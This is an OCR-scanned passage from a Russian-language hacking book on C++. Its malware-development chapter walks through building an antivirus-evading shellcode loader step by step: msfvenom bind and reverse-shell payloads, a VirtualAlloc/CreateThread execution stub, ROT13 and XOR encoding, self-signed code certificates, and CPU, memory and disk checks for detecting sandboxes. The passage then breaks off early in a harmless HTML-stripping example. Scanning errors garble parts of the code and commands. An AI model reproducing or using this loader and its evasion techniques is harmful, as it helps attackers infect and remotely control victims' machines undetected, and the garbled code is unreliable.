системы, то можно сказать, что вы стали не только хакером, но и продвину­
тым пользователем Linux - теперь вы понимаете, как все устроено изнутри
и на голову выше, чем примерно 70% обычных пользователей этой ОС.



. ..-- ... -· -.--.. ·-- .. --..-- -·- -- . ---- . ---.. -. - . --·.-.-...--·--...--·· ------------

....

Глава 8.

Разработка Malware

8.1. Введение в разработку Malware
В этой главе мы рассмотрим и попытаемся реализовать несколько методов,
используемых вредоносными приложениями для выполнения кода и сокры­
тия от антивируса. Давайте создадим приложение С++, которое будет за­
пускать вредоносный шелл-код, пытаясь не быть перехваченным антивирус­
ным программным обеспечением.
Почему С++, а не С# или сценарий PowerShell? Потому что гораздо сложнее
анализировать скомпилированный двоичный файл по сравнению с управля­
емым кодом или сценарием. Именно поэтому С++ лучше всего подходит для
написания вирусов и прочих вредоносов.
Для компиляции примеров кода из этой главы используйте MS Visual Studio
2017 или 2019 в Windows l О/11.




.....................................................................................

1 1,111.1 � Ра 1paii1111,а \/аl11·агс

8.2. Как работает обнаружение вредоносного
кода
Чтобы понять, как защититься от антивируса, нужно понимать, как работа­
ет обнаружение вредоносного кода. Решения для защиты от вредоносных
программ могут использовать три типа механизмов обнаружения:
• Обнаружение на основе сигнатур - статическая проверка контрольных
сумм файлов (MD5, SHAl и т. д.) и наличие известных строк или после­
довательностей байтов в двоичном файле;
• Эвристическое обнаружение - статический анализ поведения прило­
жения и выявление потенциально вредоносных характеристик (напри­
мер, использование определенных функций, которые обычно связаны с
вредоносным ПО);
• Песочница - динамический анализ программы, которая запускается в
контролируемой среде (песочнице), где ее действия контролируются.
Существует множество методов, позволяющих избежать различных меха­
низмов обнаружения. Например:
• Полиморфное (или, по крайней мере, часто перекомпилируемое) вредо­
носi-юе ПО может обойти обнаружение на основе сигнатур;
• Обфускация потока кода может избежать обнаружения на основе эв­
ристики;
• Условные операторы, основанные на проверках среды, могут обнаружи­
вать и обходить песочницы;
• Кодирование или шифрование кода может помочь обойти обнаружение
на основе сигнатур, а также эвристическое обнаружение.

8.3. Генерируем шелл-код
Для генерирования вредоносного кода мы будем использовать Metasploit
(https://www.metasploit.com/) - пусть это будет ТСР-шелл:



·-----·------------------------------------------------------·----------------------

\:а,,11111 11а ('+ �

msfvenom -р windows/shell_bind_tcp LPORT=4444 -f с

Шелл-код - это фрагмент машинного кода, предназначенный для запуска
локальной или удаленной системной оболочки (отсюда и название). Они в
основном используются при эксплуатации уязвимостей программного
обеспечения - когда злоумышленник может контролировать поток выпол­
нения программы, ему нужна некоторая универсальная полезная нагрузка
для выполнения желаемого действия (обычно доступ к оболочке). Это от­
носится как к локальной эксплуатации (например, для повышения привиле­
гий), так и к удаленной эксплуатации (для получения RCE на сервере).
Шелл-код - это загрузочный код, который использует известную
специфическую для платформы механику для выполнения определенных
действий (создание процесса, инициация ТСР-соединения и т. д.). Шелл­
коды Windows обычно используют ТЕВ (Thread Environment Block) и РЕВ
(Process Environment Block) для поиска адресов загруженных системных би­
блиотек (kernel32.dll, kernelbase.dll или ntdll.dll), а затем "просматривают"
их для поиска адресов функций LoadLibrary() и GetProcAddress(), которые
затем можно использовать для поиска других функций.
Сгенерированный шелл-код может быть включен в бинарник в виде строки.
Классическое выполнение массива char включает приведение этого массива
к указателю на такую функцию:
void (*func) ();
func = (void (*) ()) code;
func ();

Однако мы обнаружили, что невозможно выполнить данные в стеке из-за
механизмов предотвращения выполнения данных (особенно данные в стеке
защищены от выполнения). Хотя этого легко добиться с помощью GCC (с
флагами -fno-stack-protector и -z execstack), мне не удалось сделать это с по­
мощью Visual Studio и компилятора MSVC.

...

Примечание. Выполнение шелл-кода в приложении может по­
казаться бессмысленным, тем более что мы можем просто реа­
лизовать его возможности на С/С++. Однако бывают ситуации,
когда необходимо реализовать собственный загрузчик или ин­
жектор шелл-кода (например, для запуска шелл-кода, сгенери•
. . ... . -

---. - ----·-- ....... - ................ -� ................ -. -......... -....... .

1 1.111.1 S l'a 1paii1111..:а На/11·ш·1•

рованного другим инструментом). Помимо выполнения извест­
ного вредоносного кода (например, шелл-кода Metasploit), это
хорошая проверка концепции для проверки механизмов обна­
ружения и обхода.

8.4. Выполнение шелл-кода
Фактический способ выполнения шелл-кода немного отличается. Нам
нужно:
• Выделить новую область памяти с помощью функции Windows API
VirtualAlloc (или VirtualAllocEx для удаленных процессов);
• Заполнить ее байтами шелл-кода (например, с помощью функции
RtlCopyMemory, которая по сути является оболочкой memcpy);
• Создать новый поток с помощью
CreateRemoteThread соответственно.

функции CreateThread или

Шелл-код также может быть выполнен с использованием массива символов
для приведения указателя на функцию, если область памяти, в которой на­
ходится шелл-код, помечена как исполняемая.
Исходный код такого приложения будет выглядеть так:
##include
void main()
{
// Вставьте сюда сгенерированный шелл-код
const char shellcode [] = "\xfc\xe8\x82 (...) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode,
MEM_COММITIMEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = CreateThread(NULL, О,
(PTHREAD_START_ROUTINE)shellcode_exec, NULL, О, &threadID);
WaitForSingleObject(hThread, INFINITE);



·----------------------··---·----·--·---···---·--------·-------··---·-------···-··-IZ!il

\:а,,11111 11а ( ++

Итак, мы только что написали малварь. Попробуем "прогнать" его через
VirusTotal. Мы увидите, что у нашего вредоноса довольно большой процент
обнаружения. Далее мы попытаемся запутать код.

8.5. Запутываем код
Первое, что приходит на ум, это изменить шелл-код, чтобы избежать стати­
ческих подписей на основе его содержимого.
Мы можем попробовать самое простое "шифрование" - применить шифр
ROT 13 ко всем байтам встроенного шелл-кода- так Ох41 станет Ох54, OxFF
станет ОхОС и так далее. Во время выполнения шелл-код будет "расшифро­
ван" путем вычитания значения OxOD (13) из каждого байта.
Код выглядит следующим образом:
##include
void main ()
const char shellcode[] = "\x09\xf5\x8f ( ... ) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode,
MEM_COMMITIMEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
for (int i = О; i < sizeof shellcode; i++)
{
((char*)shellcode ехес)[i] = (((char*)shellcode_exec) [i]) - 13;
HANDLE hThread = CreateThread(NULL, О,
(PTHREAD_START_ROUTINE)shellcode ехес, NULL, О, &threadID);
WaitForSingleObject(hThread, INFINITE);

Мы также можем использовать шифрование XOR (с постоянным однобайто­
вым ключом) вместо шифра Цезаря:
for (int i = О; i < sizeof shellcode; i++)
{
((char*)shellcode ехес) [i] = (((char*)shellcode_exec) [i]) л '\х35';

...................................................................................

,

1 1,1в,1:,; l'a 1paiio11,а \lа/н•ш·с

Снова откомпилируйте вредонос и пропустите его через VirusTotal. Вы уви­
дите, что нам это особо не помогло и количество антивирусов, которые об­
наруживают вредоносный код, не уменьшилось.
Мы можем обмануть антивирусы посредством подписания нашего кода сер­
тификатом. Некоторые механизмы обнаружения вредоносных программ мо­
гут помечать неподписанные двоичные файлы как подозрительные. Давайте
создадим инфраструктуру подписи кода - нам понадобится центр сертифи­
кации и сертификат подписи кода:
makecert -r -ре -n "CN=Malwr СА" -ss СА -sr CurrentUser -а sha256 -су
authority -sky signature -sv MalwrCA.pvk MalwrCA.cer
certutil -user -addstore Root MalwrCA.cer
makecert -ре -n "CN=Malwr Cert" -а sha256 -су end -sky signature -ic
MalwrCA.cer -iv MalwrCA.pvk -sv MalwrCert.pvk MalwrCert.cer
pvk2pfx -pvk MalwrCert.pvk -spc MalwrCert.cer -pfx MalwrCert.pfx
signtool sign /v /f MalwrCert.pfx /t
http://timestamp.verisign.com/scripts/timstamp.dll Malware.exe

После выполнения вышеуказанных команд мы создали центр сертификации
"Malwr", импортировали его в наше хранилище сертификатов, создали сер­
тификат для подписи кода в формате .pfx и использовали его для подписи
исполняемого файла.
Примечание. Подписание исполняемого файла можно настро­
ить как событие после сборки в свойствах проекта Visual Studio:
signtool.exe sign /v /f $(SolutionDir)Cert\MalwrSPC.pfx /t
http://timestamp.verisign.com/scripts/timstamp.dll $(TargetPath)

После этого количество антивирусов, которые обнаруживают вредонос,
сократится примерно наполовину.
Играя со свойствами компиляции и связывания проекта Visual С++, было
обнаружено, что при удалении дополнительных зависимостей из параме­
тров компоновщика (особенно kerne\32.\ib) некоторые механизмы защиты
от вредоносных программ перестанут помечать полученный исполняемый



·-. ------------- ---. ·------- -·--·. ---- ----- ·--------··-. ---------·--. ----

. .........

:\а1,11111 11а ( t-+

файл как вредоносный. Интересно, что статическая библиотека kemel32.
lib по-прежнему будет статически скомпонована после компиляции, потому
что исполняемый файл должен знать, где найти основные функции API (из
kemel32.dll). Данный трюк поможет сократить уровень обнаружения вреда­
носа примерно на 30%.
Сейчас 2022 год, и я думаю, что большинство компьютеров (особенно поль­
зовательских рабочих станций) работают под управлением 64-б�тных
систем. Давайте создадим полезную нагрузку оболочки х64 и проверим ее
на VirusTotal:
msfvenom -р windows/x64/shell_bind_tcp LPORT=4444 -f raw

Затем перекомпилируйте программу с новым шелл-кодом. Если с 32-битным
шелл-кодом наш вредонос обнаруживали 9 антивирусов, то после перехода
на 64 бита - всего 3.
Итак, мы создали простой загрузчик шелл-кода и сумели значительно сни­
зить уровень его обнаружения с помощью некоторых несложных методов.
Однако он по-прежнему обнаруживается Microsoft Defender!

8.6. Динамический анализ вредоноса
Динамический анализ исполняемого файла может выполняться либо автома­
тически песочницей, либо вручную аналитиком. Вредоносные пр�ложения
часто используют различные методы для идентификации среды, в которой
они выполняются, и выполняют различные действия в зависимости от ситу­
ации.
Автоматический анализ выполняется в упрощенной среде песочницы, ко­
торая может иметь некоторые специфические черты, в частности, она не
может эмулировать все нюансы реальной среды. Ручной анализ обычно вы­
полняется в виртуализированной среде, и могут встречаться специальные
дополнительные инструменты (отладчик, другое аналитическое программ­
ное обеспечение).
Как автоматический, так и ручной анализ имеют общие характеристики, в
частности, они обычно выполняются в виртуализированной среде, которую
можно легко обнаружить, если она не настроена (укреплена) должны.
11111-··················································································

1 1,111,1 :-;

l'a 1paiio11,а \lа/11·11г1•

образом. Большинство методов обнаружения песочницы/анализа вращают­
ся вокруг проверки определенных атрибутов среды(ограниченные ресурсы,
ориентировочные имена устройств) и артефактов (наличие определенных
файлов, ключей реестра).
Однако существует несколько специфических обнаружений для автоматизи­
рованных песочниц и других конкретных виртуальных сред, используемых
аналитиками вредоносных программ.
Рассмотрим наш код с ХОR-шифрование шелл-кода:
v o id main ( )
{
const char shellcode[] = "\хс9\х7d\хЬб ( ... ) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, МЕМ
COММITIMEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
for ( in t i = О; i < sizeof shellcode; i++)
{
((char*)shellcode_exec) [i] = (((char*)shellcode_exec) [i]) л '\х35';
H ANDLE hТhread = CreateThread(NULL, О,
(PTHREAD_START_ROUTINE)shellcode_exec, NULL, О, &threadID);
Wa itFor SingleObject( hTh r ead, INFINITE);

Для обхода некоторых антивирусов приложение имеет архитектуру х64 и
подписано пользовательским сертификатом. На этот раз мы используем сле­
дующий шелл-код:
msfvenan -р windows/x64/shell_reverse_tcp LIORТ=4444 LНОSТ=192.168.200.102 -f raw

Мы проверим, будет ли извлечен IР-адрес обработчика обратной оболочки
(который в данном случае является очень простым IoC) во время динамиче­
ского анализа.
Microsoft Defender обнаруживает " троян Meterpreter" (на самом деле это
просто обратная оболочка ТСР, а не оболочка Meterpreter). Песочница VT
может извлекать IР-адрес во время динамического анализа .

•·-----

---------------------------- --------.------------------... --....... --··-·

.......

'\ai-11111 11а ( t-t-

Начнем с общих методов обнаружения и обхода динамического анализа. Как
песочницы, так и виртуализированные операционные системы аналитиков
обычно не могут на 100% точно эмулировать реальную среду выполнения
(например, обычную рабочую станцию пользователя). Виртуализированные
среды имеют ограниченные ресурсы (соответствующие имена устройств
также могут предоставить полезную информацию), могут иметь установ­
ленные инструменты и драйверы для конкретных виртуальных машин,
часто выглядят как новая установка Windows и иногда используют жестко
заданные имена пользователей или компьютеров. Мы можем воспользовать­
ся этим.
Основная проблема заключается в ограниченных ресурсах: песочница не
может работать долго и параллельно потреблять симуляции, поэтому часто
ограничивает выделяемые ресурсы и время, выделенное для одного эк­
земпляра. Обычные блоки виртуальных машин, используемые аналитиками,
также подвержены тем же ограничениям - их ресурсы часто ограничены.
Типичная пользовательская рабочая станция имеет процессор с не менее
чем 2 ядрами, не менее 2 ГБ ОЗУ и жесткий диск на 100 ГБ. Мы можем про­
верить, соответствует ли среда, в которой выполняется наше вредоносное
приложение, следующим ограничениям:
// проверяем процессор
SYSTEM_INFO systeminfo;
GetSysteminfo(&systeminfo);
DWORD numberOfProcessors = systeminfo.dwNumberOfProcessors;
i f (numЬerOfProcessors < 2) return false;
// проверяем память
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = s i zeof(memoryStatus);
GlobalMemoryStatusEx(&memoryStatus);
DWORD RАММВ = memoryStatus.ullTotalPhys / 1024 / 1024;
if (RАММВ < 2048) return false;
// проверяем накопитель
НANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", О, FILE SНARE READ
FILE_SHARE_WRITE, NULL, OPEN EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceioControl(hDevice, IOCTL_DISK_GET D RIVE_GEOMETRY,NULL,0,
&pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LIOVERIAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart *



IJII-··················································································

1 1,1ва Х Ра 1pafio 11,а На/11·ш·с
(ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack
* (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
if (diskSizeGB < 100) return false;

Используя эти простые проверки, мы смогли снизить уровень обнаружения
до нуля. С другом шелл-кодом результат может быть иньiм, но тем не менее,
можно поэкспериментировать .

•.---------------... --.---..--. --. --------------.. ---.--------. --. -----------------1!11

Глава 9.

Полезные примеры для
хакинга

'\а1.:11111 11а ( ·-1 +

В этой главе мы напишем несколько небольших программ, которые могут
пригодиться вам на практике хакинга.

9.1. НТМL-клинер на С++
НТМL представляет собой смесь текста и тегов для его визуального отобра­
жения. Мы напишем программу, которая будет очищать НТМL-код и выво­
дить лишь текст, заключенный в НТМL-тегах.
Листинг 9.1. Очищаем НТМL-код от тегов
#include
using namespace std;
// Функция для парсинга НТМL-кода
void parser(char* S)
(

// Храним длину



•··················································································

1 1,111,1 Ч l\o.1t•111ыe 11р11чt·111,1 1.ш ,ai,11111a

// строки s
int n = strlen(S);
int start = О, end

О;

// Обход строки
for (int i = О; i < n; i++)
// Если S[i] = '>', обновляем
// на�ало к i+l и останов
i f ( s [i] == I > I )
start = i + 1;
break;

// Удаляем пробел
w hile (S[start]
start++;

' ')

// Обход строки
for (int i = start; i < n; i++)
// Если S[i] = '